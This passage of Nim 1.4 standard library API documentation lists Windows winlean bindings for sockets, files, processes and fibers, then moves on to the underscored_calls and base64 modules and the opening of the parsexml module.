[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L598) ``` proc connect(s: SocketHandle; name: ptr SockAddr; namelen: SockLen): cint {...}{. stdcall, importc: "connect", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L600) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L600) ``` proc getsockname(s: SocketHandle; name: ptr SockAddr; namelen: ptr SockLen): cint {...}{. stdcall, importc: "getsockname", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L602) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L602) ``` proc getpeername(s: SocketHandle; name: ptr SockAddr; namelen: ptr SockLen): cint {...}{. stdcall, importc, dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L605) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L605) ``` proc getsockopt(s: SocketHandle; level, optname: cint; optval: pointer; optlen: ptr SockLen): cint {...}{.stdcall, importc: "getsockopt", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L608) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L608) ``` proc setsockopt(s: SocketHandle; level, optname: cint; optval: pointer; optlen: SockLen): cint {...}{.stdcall, importc: "setsockopt", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L611) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L611) ``` proc listen(s: SocketHandle; backlog: cint): cint {...}{.stdcall, importc: "listen", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L615) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L615) ``` proc recv(s: SocketHandle; buf: pointer; len, flags: cint): cint {...}{.stdcall, importc: "recv", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L617) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L617) ``` proc recvfrom(s: SocketHandle; buf: cstring; len, flags: cint; fromm: ptr SockAddr; fromlen: ptr SockLen): cint {...}{.stdcall, importc: "recvfrom", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L619) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L619) ``` proc select(nfds: cint; readfds, writefds, exceptfds: ptr TFdSet; timeout: ptr Timeval): cint {...}{.stdcall, importc: "select", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L622) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L622) ``` proc send(s: SocketHandle; buf: pointer; len, flags: cint): cint {...}{.stdcall, importc: "send", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L625) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L625) ``` proc sendto(s: SocketHandle; buf: pointer; len, flags: cint; to: ptr SockAddr; tolen: SockLen): cint {...}{.stdcall, importc: "sendto", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L627) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L627) ``` proc shutdown(s: SocketHandle; how: cint): cint {...}{.stdcall, importc: "shutdown", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L631) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L631) ``` proc getnameinfo(a1: ptr SockAddr; a2: SockLen; a3: cstring; a4: SockLen; a5: cstring; a6: SockLen; a7: cint): cint {...}{.stdcall, importc: "getnameinfo", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L634) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L634) ``` proc inet_addr(cp: cstring): uint32 {...}{.stdcall, importc: "inet_addr", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L639) ``` proc FD_ISSET(socket: SocketHandle; set: var TFdSet): cint {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L645) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L645) ``` proc FD_SET(socket: SocketHandle; s: var TFdSet) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L648) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L648) ``` proc FD_ZERO(s: var TFdSet) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L653) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L653) ``` proc wsaStartup(wVersionRequired: int16; WSData: ptr WSAData): cint {...}{.stdcall, importc: "WSAStartup", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L656) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L656) ``` proc getaddrinfo(nodename, servname: cstring; hints: ptr AddrInfo; res: var ptr AddrInfo): cint {...}{.stdcall, importc: "getaddrinfo", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L659) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L659) ``` proc freeaddrinfo(ai: ptr AddrInfo) {...}{.stdcall, importc: "freeaddrinfo", dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L663) ``` proc inet_ntoa(i: InAddr): cstring {...}{.stdcall, importc, dynlib: ws2dll.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L666) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L666) ``` proc waitForMultipleObjects(nCount: DWORD; lpHandles: PWOHandleArray; bWaitAll: WINBOOL; dwMilliseconds: DWORD): DWORD {...}{. stdcall, dynlib: "kernel32", importc: "WaitForMultipleObjects".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L676) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L676) ``` proc duplicateHandle(hSourceProcessHandle: Handle; hSourceHandle: Handle; hTargetProcessHandle: Handle; lpTargetHandle: ptr Handle; dwDesiredAccess: DWORD; bInheritHandle: WINBOOL; dwOptions: DWORD): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "DuplicateHandle".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L722) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L722) ``` proc getHandleInformation(hObject: Handle; lpdwFlags: ptr DWORD): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "GetHandleInformation".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L729) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L729) ``` proc setHandleInformation(hObject: Handle; dwMask: DWORD; dwFlags: DWORD): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "SetHandleInformation".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L732) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L732) ``` proc getCurrentProcess(): Handle {...}{.stdcall, dynlib: "kernel32", importc: "GetCurrentProcess".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L736) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L736) ``` proc createFileW(lpFileName: WideCString; dwDesiredAccess, dwShareMode: DWORD; lpSecurityAttributes: pointer; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: Handle): Handle {...}{.stdcall, dynlib: "kernel32", importc: "CreateFileW".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L739) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L739) ``` proc deleteFileW(pathName: WideCString): int32 {...}{.importc: "DeleteFileW", dynlib: "kernel32", stdcall.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L744) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L744) ``` proc createFileA(lpFileName: cstring; dwDesiredAccess, dwShareMode: DWORD; lpSecurityAttributes: pointer; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: Handle): Handle {...}{.stdcall, dynlib: "kernel32", importc: "CreateFileA".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L746) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L746) ``` proc deleteFileA(pathName: cstring): int32 {...}{.importc: "DeleteFileA", dynlib: "kernel32", stdcall.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L751) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L751) ``` proc setEndOfFile(hFile: Handle): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "SetEndOfFile".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L754) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L754) ``` proc setFilePointer(hFile: Handle; lDistanceToMove: LONG; lpDistanceToMoveHigh: ptr LONG; dwMoveMethod: DWORD): DWORD {...}{. stdcall, dynlib: "kernel32", importc: "SetFilePointer".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L757) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L757) ``` proc getFileSize(hFile: Handle; lpFileSizeHigh: ptr DWORD): DWORD {...}{.stdcall, dynlib: "kernel32", importc: "GetFileSize".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L762) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L762) ``` proc mapViewOfFileEx(hFileMappingObject: Handle; dwDesiredAccess: DWORD; dwFileOffsetHigh, dwFileOffsetLow: DWORD; dwNumberOfBytesToMap: WinSizeT; lpBaseAddress: pointer): pointer {...}{. stdcall, dynlib: "kernel32", importc: "MapViewOfFileEx".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L772) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L772) ``` proc createFileMappingW(hFile: Handle; lpFileMappingAttributes: pointer; flProtect, dwMaximumSizeHigh: DWORD; dwMaximumSizeLow: DWORD; lpName: pointer): Handle {...}{. stdcall, dynlib: "kernel32", importc: "CreateFileMappingW".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L778) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L778) ``` proc unmapViewOfFile(lpBaseAddress: pointer): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "UnmapViewOfFile".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L792) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L792) ``` proc flushViewOfFile(lpBaseAddress: pointer; dwNumberOfBytesToFlush: DWORD): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "FlushViewOfFile".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L795) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L795) ``` proc createIoCompletionPort(FileHandle: Handle; ExistingCompletionPort: Handle; CompletionKey: ULONG_PTR; NumberOfConcurrentThreads: DWORD): Handle {...}{.stdcall, dynlib: "kernel32", importc: "CreateIoCompletionPort".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L834) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L834) ``` proc getQueuedCompletionStatus(CompletionPort: Handle; lpNumberOfBytesTransferred: PDWORD; lpCompletionKey: PULONG_PTR; lpOverlapped: ptr POVERLAPPED; dwMilliseconds: DWORD): WINBOOL {...}{.stdcall, dynlib: "kernel32", importc: "GetQueuedCompletionStatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L839) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L839) ``` proc getOverlappedResult(hFile: Handle; lpOverlapped: POVERLAPPED; lpNumberOfBytesTransferred: var DWORD; bWait: WINBOOL): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "GetOverlappedResult".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L845) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L845) ``` proc WSAIoctl(s: SocketHandle; dwIoControlCode: DWORD; lpvInBuffer: pointer; cbInBuffer: DWORD; lpvOutBuffer: pointer; cbOutBuffer: DWORD; lpcbBytesReturned: PDWORD; lpOverlapped: POVERLAPPED; lpCompletionRoutine: POVERLAPPED_COMPLETION_ROUTINE): cint {...}{. stdcall, importc: "WSAIoctl", dynlib: "Ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L879) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L879) ``` proc WSARecv(s: SocketHandle; buf: ptr TWSABuf; bufCount: DWORD; bytesReceived, flags: PDWORD; lpOverlapped: POVERLAPPED; completionProc: POVERLAPPED_COMPLETION_ROUTINE): cint {...}{.stdcall, importc: "WSARecv", dynlib: "Ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L890) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L890) ``` proc WSARecvFrom(s: SocketHandle; buf: ptr TWSABuf; bufCount: DWORD; bytesReceived: PDWORD; flags: PDWORD; name: ptr SockAddr; namelen: ptr cint; lpOverlapped: POVERLAPPED; completionProc: POVERLAPPED_COMPLETION_ROUTINE): cint {...}{. stdcall, importc: "WSARecvFrom", dynlib: "Ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L895) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L895) ``` proc WSASend(s: SocketHandle; buf: ptr TWSABuf; bufCount: DWORD; bytesSent: PDWORD; flags: DWORD; lpOverlapped: POVERLAPPED; completionProc: POVERLAPPED_COMPLETION_ROUTINE): cint {...}{.stdcall, importc: "WSASend", dynlib: "Ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L901) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L901) ``` proc WSASendTo(s: SocketHandle; buf: ptr TWSABuf; bufCount: DWORD; bytesSent: PDWORD; flags: DWORD; name: ptr SockAddr; namelen: cint; lpOverlapped: POVERLAPPED; completionProc: POVERLAPPED_COMPLETION_ROUTINE): cint {...}{.stdcall, importc: "WSASendTo", dynlib: "Ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L906) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L906) ``` proc get_osfhandle(fd: FileHandle): Handle {...}{.importc: "_get_osfhandle", header: "<io.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L912) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L912) ``` proc getSystemTimes(lpIdleTime, lpKernelTime, lpUserTime: var FILETIME): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "GetSystemTimes".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L915) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L915) ``` proc getProcessTimes(hProcess: Handle; lpCreationTime, lpExitTime, lpKernelTime, lpUserTime: var FILETIME): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "GetProcessTimes".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L919) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L919) ``` proc inet_ntop(family: cint; paddr: pointer; pStringBuffer: cstring; stringBufSize: int32): cstring {...}{.stdcall, raises: [Exception], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L960) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L960) ``` proc postQueuedCompletionStatus(CompletionPort: Handle; dwNumberOfBytesTransferred: DWORD; dwCompletionKey: ULONG_PTR; lpOverlapped: pointer): bool {...}{.stdcall, dynlib: "kernel32", importc: "PostQueuedCompletionStatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1028) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1028) ``` proc registerWaitForSingleObject(phNewWaitObject: ptr Handle; hObject: Handle; Callback: WAITORTIMERCALLBACK; Context: pointer; dwMilliseconds: ULONG; dwFlags: ULONG): bool {...}{.stdcall, dynlib: "kernel32", importc: "RegisterWaitForSingleObject".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1034) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1034) ``` proc unregisterWait(WaitHandle: Handle): DWORD {...}{.stdcall, dynlib: "kernel32", importc: "UnregisterWait".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1041) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1041) ``` proc openProcess(dwDesiredAccess: DWORD; bInheritHandle: WINBOOL; dwProcessId: DWORD): Handle {...}{.stdcall, dynlib: "kernel32", importc: "OpenProcess".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1044) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1044) ``` proc createEvent(lpEventAttributes: ptr SECURITY_ATTRIBUTES; bManualReset: DWORD; bInitialState: DWORD; lpName: ptr Utf16Char): Handle {...}{.stdcall, dynlib: "kernel32", importc: "CreateEventW".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1054) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1054) ``` proc setEvent(hEvent: Handle): cint {...}{.stdcall, dynlib: "kernel32", importc: "SetEvent".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1059) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1059) ``` proc wsaEventSelect(s: SocketHandle; hEventObject: Handle; lNetworkEvents: clong): cint {...}{. stdcall, importc: "WSAEventSelect", dynlib: "ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1075) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1075) ``` proc wsaCreateEvent(): Handle {...}{.stdcall, importc: "WSACreateEvent", dynlib: "ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1079) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1079) ``` proc wsaCloseEvent(hEvent: Handle): bool {...}{.stdcall, importc: "WSACloseEvent", dynlib: "ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1082) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1082) ``` proc wsaResetEvent(hEvent: Handle): bool {...}{.stdcall, importc: "WSAResetEvent", dynlib: "ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1085) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1085) ``` proc readConsoleInput(hConsoleInput: Handle; lpBuffer: pointer; nLength: cint; lpNumberOfEventsRead: ptr cint): cint {...}{.stdcall, dynlib: "kernel32", importc: "ReadConsoleInputW".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1103) ``` proc CreateFiber(stackSize: int; fn: LPFIBER_START_ROUTINE; param: pointer): pointer {...}{. stdcall, discardable, dynlib: "kernel32", importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1113) ``` proc CreateFiberEx(stkCommit: int; stkReserve: int; flags: int32; fn: LPFIBER_START_ROUTINE; param: pointer): pointer {...}{. stdcall, discardable, dynlib: "kernel32", importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1114) ``` proc ConvertThreadToFiber(param: pointer): pointer {...}{.stdcall, discardable, dynlib: "kernel32", importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1115) ``` proc ConvertThreadToFiberEx(param: pointer; flags: int32): pointer {...}{.stdcall, discardable, dynlib: "kernel32", importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1116) ``` proc DeleteFiber(fiber: pointer): void {...}{.stdcall, discardable, dynlib: "kernel32", importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1117) ``` proc SwitchToFiber(fiber: pointer): void {...}{.stdcall, discardable, dynlib: "kernel32", importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1118) ``` proc GetCurrentFiber(): pointer {...}{.stdcall, importc, header: "windows.h".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1119) ``` proc toFILETIME(t: int64): FILETIME {...}{.raises: [], tags: [].} ``` Convert the Windows file time timestamp `t` to `FILETIME`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1121) ``` proc setFileTime(hFile: Handle; lpCreationTime: LPFILETIME; lpLastAccessTime: LPFILETIME; lpLastWriteTime: LPFILETIME): WINBOOL {...}{. stdcall, dynlib: "kernel32", importc: "SetFileTime".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L1128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L1128) Templates --------- ``` template hasOverlappedIoCompleted(lpOverlapped): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L852) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L852) ``` template WSAIORW(x, y): untyped ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L861) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L861)
programming_docs
nim underscored_calls underscored\_calls ================== This is an internal helper module. Do not use. Imports ------- <macros> Procs ----- ``` proc underscoredCalls(result, calls, arg0: NimNode) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/private/underscored_calls.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/private/underscored_calls.nim#L41) nim base64 base64 ====== This module implements a base64 encoder and decoder. Unstable API. Base64 is an encoding and decoding technique used to convert binary data to an ASCII string format. Each Base64 digit represents exactly 6 bits of data. Three 8-bit bytes (i.e., a total of 24 bits) can therefore be represented by four 6-bit Base64 digits. Basic usage ----------- ### Encoding data ``` import base64 let encoded = encode("Hello World") assert encoded == "SGVsbG8gV29ybGQ=" ``` Apart from strings you can also encode lists of integers or characters: ``` import base64 let encodedInts = encode([1,2,3]) assert encodedInts == "AQID" let encodedChars = encode(['h','e','y']) assert encodedChars == "aGV5" ``` ### Decoding data ``` import base64 let decoded = decode("SGVsbG8gV29ybGQ=") assert decoded == "Hello World" ``` ### URL Safe Base64 ``` import base64 doAssert encode("c\xf7>", safe = true) == "Y_c-" doAssert encode("c\xf7>", safe = false) == "Y/c+" ``` See also -------- * [hashes module](hashes) for efficient computations of hash values for diverse Nim types * [md5 module](md5) implements the MD5 checksum algorithm * [sha1 module](sha1) implements a sha1 encoder and decoder Procs ----- ``` proc encode[T: SomeInteger | char](s: openArray[T]; safe = false): string ``` Encodes `s` into base64 representation. This procedure encodes an openarray (array or sequence) of either integers or characters. If `safe` is `true` then it will encode using the URL-Safe and Filesystem-safe standard alphabet characters, which substitutes `-` instead of `+` and `_` instead of `/`. * <https://en.wikipedia.org/wiki/Base64#URL_applications> * <https://tools.ietf.org/html/rfc4648#page-7> **See also:** * [encode proc](#encode,string) for encoding a string * [decode proc](#decode,string) for decoding a string **Example:** ``` assert encode(['n', 'i', 'm']) == "bmlt" assert encode(@['n', 'i', 'm']) == "bmlt" assert encode([1, 2, 3, 4, 5]) == "AQIDBAU=" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/base64.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/base64.nim#L146) ``` proc encode(s: string; safe = false): string {...}{.raises: [], tags: [].} ``` Encodes `s` into base64 representation. This procedure encodes a string. If `safe` is `true` then it will encode using the URL-Safe and Filesystem-safe standard alphabet characters, which substitutes `-` instead of `+` and `_` instead of `/`. * <https://en.wikipedia.org/wiki/Base64#URL_applications> * <https://tools.ietf.org/html/rfc4648#page-7> **See also:** * [encode proc](#encode,openArray%5BT%5D) for encoding an openarray * [decode proc](#decode,string) for decoding a string **Example:** ``` assert encode("Hello World") == "SGVsbG8gV29ybGQ=" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/base64.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/base64.nim#L167) ``` proc encodeMime(s: string; lineLen = 75; newLine = "\c\n"): string {...}{.raises: [], tags: [].} ``` Encodes `s` into base64 representation as lines. Used in email MIME format, use `lineLen` and `newline`. This procedure encodes a string according to MIME spec. **See also:** * [encode proc](#encode,string) for encoding a string * [decode proc](#decode,string) for decoding a string **Example:** ``` assert encodeMime("Hello World", 4, "\n") == "SGVs\nbG8g\nV29y\nbGQ=" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/base64.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/base64.nim#L185) ``` proc initDecodeTable(): array[256, char] {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/base64.nim#L201) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/base64.nim#L201) ``` proc decode(s: string): string {...}{.raises: [ValueError], tags: [].} ``` Decodes string `s` in base64 representation back into its original form. The initial whitespace is skipped. **See also:** * [encode proc](#encode,openArray%5BT%5D) for encoding an openarray * [encode proc](#encode,string) for encoding a string **Example:** ``` assert decode("SGVsbG8gV29ybGQ=") == "Hello World" assert decode(" SGVsbG8gV29ybGQ=") == "Hello World" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/base64.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/base64.nim#L216) nim parsexml parsexml ======== This module implements a simple high performance XML / HTML parser. The only encoding that is supported is UTF-8. The parser has been designed to be somewhat error correcting, so that even most "wild HTML" found on the web can be parsed with it. **Note:** This parser does not check that each `<tag>` has a corresponding `</tag>`! These checks have do be implemented by the client code for various reasons: * Old HTML contains tags that have no end tag: `<br>` for example. * HTML tags are case insensitive, XML tags are case sensitive. Since this library can parse both, only the client knows which comparison is to be 